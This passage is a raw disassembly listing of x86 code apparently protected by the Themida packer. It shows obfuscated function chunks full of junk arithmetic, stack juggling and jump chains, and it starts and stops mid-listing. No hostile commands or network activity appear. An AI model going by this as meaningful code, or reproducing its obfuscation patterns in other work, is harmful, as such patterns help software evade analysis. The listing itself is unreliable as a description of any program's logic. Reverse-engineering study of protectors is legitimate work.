00571408 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572EF9 SIZE 0000000B BYTES push ebp jmp loc_56D13E sub_569B75 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_569B7B: ; CODE XREF: sub_566400+3B4Dj pop esi add eax, edx mov edx, [esp+8+var_8] add esp, 4 add eax, ebp sub eax, 6BF76AA5h jmp loc_566244 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_569B93: ; CODE XREF: sub_569CBC+B5F0j mov edx, esp push ebx mov ebx, 4 sub edx, 59596094h jmp loc_563454 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_569BA6: ; CODE XREF: sub_5662F9+45F5j mov esp, [esp+8+var_8] xor [esp-4+arg_0], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_569BB3: ; CODE XREF: sub_56657A+6660j mov ebx, eax pop eax add ecx, ebx pop ebx xchg ecx, [esp+0] mov esp, [esp+0] jmp loc_57367D ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_569BC4: ; CODE XREF: sub_566117+C57j pop ecx jmp loc_5729A1 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_569BCA: ; CODE XREF: sub_56616D+6498j mov esi, 4 add ecx, esi pop esi add ecx, 4 jmp loc_572044 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA36 loc_569BDA: ; CODE XREF: sub_56DA36+8j add ebp, 0E74D3ED2h mov ecx, ebp jmp loc_5713FC ; END OF FUNCTION CHUNK FOR sub_56DA36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_569BE7: ; CODE XREF: sub_574656-F3A6j xchg edi, [esp+14h+var_14] pop esp sub eax, 1942549Fh add eax, edi add eax, 1942549Fh add eax, 640547C1h push [esp+10h+var_10] pop edi add esp, 4 pop esi push ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+10h+var_10] pop esp jmp loc_56F08C ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_569C1D: ; CODE XREF: sub_57354D-23B1j mov esp, [esp+0] jmp loc_574DD4 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_569C25: ; CODE XREF: Themida_:00568388j mov ecx, 528D7AF7h jmp loc_565EEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_569C2F: ; CODE XREF: sub_572075-24F0j sub ebp, 0F8B587Fh add ebp, 59F02FE2h sub ebp, eax jmp loc_56BA91 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_569C42: ; CODE XREF: sub_5605BC+6789j pop esp jmp loc_5615A4 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_569C48: ; CODE XREF: sub_561027+3EA0j neg edi sub edi, 45E860C3h sub eax, 926EF9h add eax, edi add eax, 926EF9h pop edi sub eax, 4 xchg eax, [esp+14h+var_14] pop esp mov [esp+10h+var_10], eax xchg ebx, [esp+10h+var_10] not ebx jmp loc_560BB9 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566F55 loc_569C73: ; CODE XREF: sub_566F55+Dj mov edi, [esp+4+var_4] jmp loc_56D402 ; END OF FUNCTION CHUNK FOR sub_566F55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_569C7B: ; CODE XREF: sub_56B06D+60FBj add [esp+0Ch+var_8], 1F50717Bh jmp loc_5669B2 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_569C88: ; CODE XREF: sub_568646+5AB0j mov ecx, [esp+0] add esp, 4 pop edx add al, bl mov ebx, [esp-8+arg_4] push ecx mov ecx, esp jmp loc_56F5FF ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_569C9F: ; CODE XREF: sub_56D4B8-55B9j push esi mov esi, esp push edx mov edx, 53636369h xor edx, 2FE22EC9h xor edx, 7C814DA4h add esi, edx pop edx jmp loc_5626B6 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; =============== S U B R O U T I N E ======================================= sub_569CBC proc near ; DATA XREF: Themida_:0055FEA0o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560115 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563454 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005641F9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565890 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565AA0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565B9C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00565CDB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00566CE2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569B93 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569E71 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570448 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00571B9F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00573911 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574EFE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005752AB SIZE 00000006 BYTES lodsd cmp dword ptr [edi+20h], 0 jz loc_560115 sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_573911 sub_569CBC endp ; --------------------------------------------------------------------------- loc_569CDC: ; DATA XREF: Themida_:0055FDF8o pop dword ptr [edi+40h] jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_569CE4: ; CODE XREF: sub_5673C3-32F2j add ebp, edx sub ebp, 3E323620h mov edx, [esp-8+arg_4] add esp, 4 xor ebp, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ebp xor ebp, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push 58C0h jmp loc_562E8D ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_569D08: ; CODE XREF: sub_56AEF2+523Ej movzx eax, al push dword ptr [edi+eax*4] push [esp+4+var_4] jmp loc_56B50D ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_569D16: ; CODE XREF: sub_565A8D+A48Ej sub edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+4+var_4], ecx push dword ptr [esp+4] pop ecx jmp loc_5709F6 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_569D2F: ; CODE XREF: sub_56B06D-606Aj pop eax jmp sub_564686 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_569D35: ; CODE XREF: sub_572141-6F35j mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_5682FE ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_569D40: ; CODE XREF: sub_5678CB+BFBAj mov bh, ch sub bh, 1 jmp loc_56B5D0 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_569D4A: ; CODE XREF: sub_575420-C08Bj mov cl, byte ptr [esp+0Ch+var_C] add esp, 2 neg cl jmp loc_566406 ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_569D57: ; CODE XREF: sub_5687A3+1EC6j add ebx, ecx push eax jmp sub_563819 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; =============== S U B R O U T I N E ======================================= sub_569D5F proc near ; CODE XREF: sub_572805-7744j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005614EE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056342A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056A416 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AA41 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056AAA2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056E848 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574CCE SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ebx push ecx mov cl, 5Ah jmp loc_5614EE sub_569D5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_569D6D: ; CODE XREF: sub_56FD97+16j pop ebp sub eax, ebx push esi jmp loc_562A1A ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_569D76: ; CODE XREF: sub_563A7F+11A6Bj mov al, 2 sub bl, al pop eax add bl, al jmp loc_5619F8 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_569D82: ; CODE XREF: sub_56616D+565Bj mov esi, [esp-10h+arg_C] add esp, 4 push 1F41h mov [esp-10h+arg_C], ecx mov ecx, 4791185Ch shl ecx, 2 jmp loc_56D2BF ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_569D9D: ; CODE XREF: sub_5604FE+BB95j xor esi, 4249AC14h xor edi, esi mov esi, [esp+0Ch+var_C] add esp, 4 add ecx, edi jmp loc_56C883 ; END OF FUNCTION CHUNK FOR sub_5604FE ; =============== S U B R O U T I N E ======================================= sub_569DB5 proc near ; DATA XREF: Themida_:0055FEECo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00562A9A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00563197 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005644D0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566BF2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00566CAC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00567105 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005698A4 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0056B994 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0056CD82 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570848 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571466 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00571AAB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00571F7A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572470 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00573428 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005738D2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00574E99 SIZE 00000039 BYTES mov cx, [esp+0] push 138Ah jmp loc_571F7A sub_569DB5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_569DC3: ; CODE XREF: sub_56102D+284Fj pop edx add ecx, 73B8274Fh add ecx, edi push ebx jmp loc_569B21 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_569DD2: ; CODE XREF: sub_56651E+8D0Ej pop ebp add ebp, 4 jmp loc_564786 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_569DDE: ; CODE XREF: sub_571F6F+65Cj add edi, 4 push 707Bh mov [esp+12h+var_14+2], edi push [esp+12h+var_E] push [esp+16h+var_18+2] mov edi, [esp] add esp, 4 add esp, 4 pop [esp+12h+var_14+2] mov esp, [esp+0Eh+var_E] sub bl, 3 jmp loc_56EFBA ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_569E0A: ; CODE XREF: sub_56FB8A-C0DFj sub edi, 5DBE384h sub ebx, 0BF466B3h jmp loc_56BC2D ; END OF FUNCTION CHUNK FOR sub_56FB8A ; =============== S U B R O U T I N E ======================================= sub_569E1B proc near ; DATA XREF: Themida_:0055FEE0o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056076A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00562FF4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00564494 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565F82 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568989 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056BD1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D315 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056E310 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005709B8 SIZE 00000012 BYTES lodsb push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi pop esi jmp loc_564494 sub_569E1B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C21 loc_569E33: ; CODE XREF: sub_561C21+6j pop edx xor bh, 8Dh sub al, bh pop ebx shl al, 3 push ax not [esp+2+var_2] pop ax sub al, 0C0h jmp loc_575150 ; END OF FUNCTION CHUNK FOR sub_561C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_569E4B: ; CODE XREF: sub_56B11B-9184j mov esi, [esp+0Ch+var_C] add esp, 4 xchg ecx, [esp+8+var_8] pop esp or edx, eax jmp loc_5670B8 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_569E5C: ; CODE XREF: sub_570732-5C5Fj push [esp+0Ch+var_8] mov ebx, [esp+10h+var_10] add esp, 4 pop [esp+0Ch+var_C] jmp loc_56C7D6 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_569E71: ; CODE XREF: sub_569CBC-4214j push ecx mov ecx, 4 jmp loc_570448 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_569E7C: ; CODE XREF: sub_570732-CE53j add esp, 4 mov ecx, [esp+10h+var_10] jmp loc_56D36F ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_569E87: ; CODE XREF: sub_56657A+3D4Cj sub ebx, ecx jmp loc_560F0B ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- loc_569E8E: ; CODE XREF: Themida_:0056F024j add ebx, eax jmp loc_571D1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_569E95: ; CODE XREF: sub_572641-CD96j add al, 0E9h add al, bl push dx mov dh, 0E9h sub al, dh pop dx jmp loc_564F33 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_569EA6: ; CODE XREF: sub_569B75+35D4j dec ebp jmp loc_563973 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_569EAC: ; CODE XREF: sub_570E81+Cj mov [esp+4+var_4], eax mov eax, esp push ebp mov ebp, 7CF80834h push ecx jmp loc_564615 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56208F loc_569EBD: ; CODE XREF: sub_56208F+3j mov [esp+4+var_4], esi jmp loc_56BBE3 ; END OF FUNCTION CHUNK FOR sub_56208F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_569EC5: ; CODE XREF: sub_56638C-3DD0j xor ecx, 123138B7h sub edx, ecx pop ecx push eax mov eax, 330B3E16h jmp loc_570AD3 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_569ED9: ; CODE XREF: sub_561418+10124j pop edx push ebx jmp loc_5627CE ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_569EE0: ; CODE XREF: sub_570CE4-103FEj mov esp, [esp+14h+var_14] jmp loc_5643CF ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_569EE8: ; CODE XREF: sub_560056+CACEj add eax, ebp pop ebp jmp loc_56CA31 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_569EF0: ; CODE XREF: sub_56E4D4-AA00j add esp, 4 jmp loc_568867 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_569EFB: ; CODE XREF: sub_571C93+B44j xor ecx, 34EE7BDFh sub ebx, ecx mov ecx, [esp+4+var_4] add esp, 4 jmp loc_5697C0 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_569F11: ; CODE XREF: sub_572641-7002j mov bl, 0Ch jmp loc_5729FF ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_569F18: ; CODE XREF: sub_566400+61DCj pop ebx push esi mov esi, 0F90F1F6Fh add edx, 44865FC7h add edx, esi sub esp, 4 mov [esp+10h+var_10], ebx push ecx mov ecx, 2EF83A6Bh mov ebx, 6A7E65ACh xor ebx, ecx pop ecx sub edx, 3D281226h sub edx, ebx add edx, 3D281226h pop ebx jmp loc_569B7B ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_569F52: ; CODE XREF: sub_56671D-2F81j add al, bl sub al, 0D9h sub al, 0B6h jmp loc_57318B ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_569F5D: ; CODE XREF: sub_5733CA-2532j mov ecx, ebp jmp loc_56D1D5 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_569F64: ; CODE XREF: sub_57354D-B59j add edi, edx pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+4+var_4], edi push dword ptr [esp+4] mov edi, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] jmp loc_56A3E8 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_569F8E: ; CODE XREF: sub_56E126+9AFj pop esi std sub esp, 4 jmp loc_564B52 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_569F98: ; CODE XREF: sub_57354D-8EB5j shl ebp, 5 push ecx push edx mov edx, 277F25CBh push edx pop ecx pop edx add ecx, 89E5B299h jmp loc_5668A2 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_569FB0: ; CODE XREF: sub_564D26+A50Ej push [esp+10h+var_10] jmp loc_56B544 ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_569FB8 proc near ; DATA XREF: Themida_:0055FDA4o var_12 = dword ptr -12h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = dword ptr -6 var_2 = word ptr -2 ; FUNCTION CHUNK AT 00560643 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560E64 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561316 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005656C3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00565E25 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A598 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AA8D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056AF14 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056C180 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056C3BF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056D8BC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056DB6F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056DD83 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E03F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F3BB SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00570314 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570A83 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00570B11 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570DDE SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00571BE6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005745CF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00575160 SIZE 0000000F BYTES lodsb xor al, bl jmp loc_560E64 sub_569FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_569FC0: ; CODE XREF: sub_56DA43-C302j pop edi push ebp not [esp+14h+var_14] mov ebp, [esp+14h+var_14] jmp loc_56DD0A ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- loc_569FCD: ; CODE XREF: Themida_:00564CAAj mov esp, [esp] push edi jmp loc_56224D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_569FD6: ; CODE XREF: sub_566DC7+1EBCj pop esi add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_56E195 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_569FEE: ; CODE XREF: sub_572641-CFA6j mov edx, [esp+2+var_4+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_564A0A ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56A005: ; CODE XREF: sub_574F16-12615j mov cl, 8Eh add cl, 12h jmp loc_5706FE ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56A00F: ; CODE XREF: sub_56CD13-568Ej push ecx push edx jmp loc_5741DB ; END OF FUNCTION CHUNK FOR sub_56CD13 ; =============== S U B R O U T I N E ======================================= sub_56A016 proc near ; CODE XREF: sub_5745B5-7AD2j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00567EA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056C0C8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E3F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005711D6 SIZE 00000011 BYTES push ebx mov bl, 63h xor ch, bl pop ebx add ch, 77h xor bh, ch pop ecx jmp loc_56E3F5 sub_56A016 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_56A027: ; CODE XREF: sub_563BCC+ECD0j mov [esp+0], ebx push 49731C13h push [esp+4+var_4] pop ebx add esp, 4 jmp loc_562C41 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56A03E: ; CODE XREF: sub_56638C+8A3Fj push edx push [esp+10h+var_C] pop edx pop [esp+10h+var_10] jmp loc_568111 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_56A04C: ; CODE XREF: sub_56A119-70BEj xor edi, [esp+0] pop esp mov ebx, eax pop eax mov [eax], ebx jmp loc_570D3D ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56A05A: ; CODE XREF: sub_5678CB-4BE0j add edi, 6EC3756Fh jmp loc_560307 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_56A065: ; CODE XREF: sub_560CF1+13A9Ej add esp, 4 pop ecx xchg edi, ecx jmp loc_572AA6 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- loc_56A070: ; CODE XREF: Themida_:0056706Dj mov [esp], ebx push eax push 7FBB480Ah jmp loc_5693FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56A07E: ; CODE XREF: sub_567B29+82ABj mov [esp+0Ch+var_C], ecx mov ecx, 22014F06h mov eax, ecx pop ecx mov edx, 6B862C8Dh jmp sub_5716A0 ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56A093: ; CODE XREF: sub_564BC5+3B4j mov edx, [esp+8+var_8] add esp, 4 jmp loc_56EA1A ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56A0A1: ; CODE XREF: sub_5605BC+FB42j mov [esp+24h+var_24], edi mov edi, 55323CCh sub ecx, edi pop edi push eax mov eax, 8DA2892h dec eax jmp sub_561418 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_56A0B8: ; CODE XREF: sub_56351E+F7E5j mov cx, [esp+0] push edi mov edi, esp jmp loc_572EC6 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56A0C4: ; CODE XREF: sub_56AEF2-6957j push 355h mov [esp-8+arg_4], edi push 7EE5h jmp loc_5644B6 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56A0D6: ; CODE XREF: sub_56616D+816Ej mov edi, [esp-10h+arg_C] sub esp, 4 mov [esp-0Ch+arg_8], esi push esp pop esi push edi mov edi, 614C3EACh and edi, 0C922979h jmp loc_56F9B5 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_56A0F5: ; CODE XREF: Themida_:0057200Dj push edx push edi mov edi, 2 sub esp, 4 mov [esp], edi mov edx, [esp] add esp, 4 push dword ptr [esp] mov edi, [esp] jmp loc_560CB5 ; =============== S U B R O U T I N E ======================================= sub_56A119 proc near ; CODE XREF: sub_56D2D2+Ej var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0056304F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563A54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056A04C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A8A2 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056FC95 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570D3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570F5B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057116D SIZE 00000008 BYTES push ebp mov ebp, 6DC0BD9h or ebp, 461B7A15h neg ebp add ebp, 62CA0ACEh and ebp, 233C291Eh jmp loc_56A8A2 sub_56A119 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_56A138: ; CODE XREF: sub_570CE4-8C3Dj pop eax jmp loc_572AE6 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_56A13E: ; CODE XREF: sub_5745B5-13B5Bj mov ch, 52h and ch, 0A5h inc ch and ch, 0B2h and ch, 64h not ch jmp 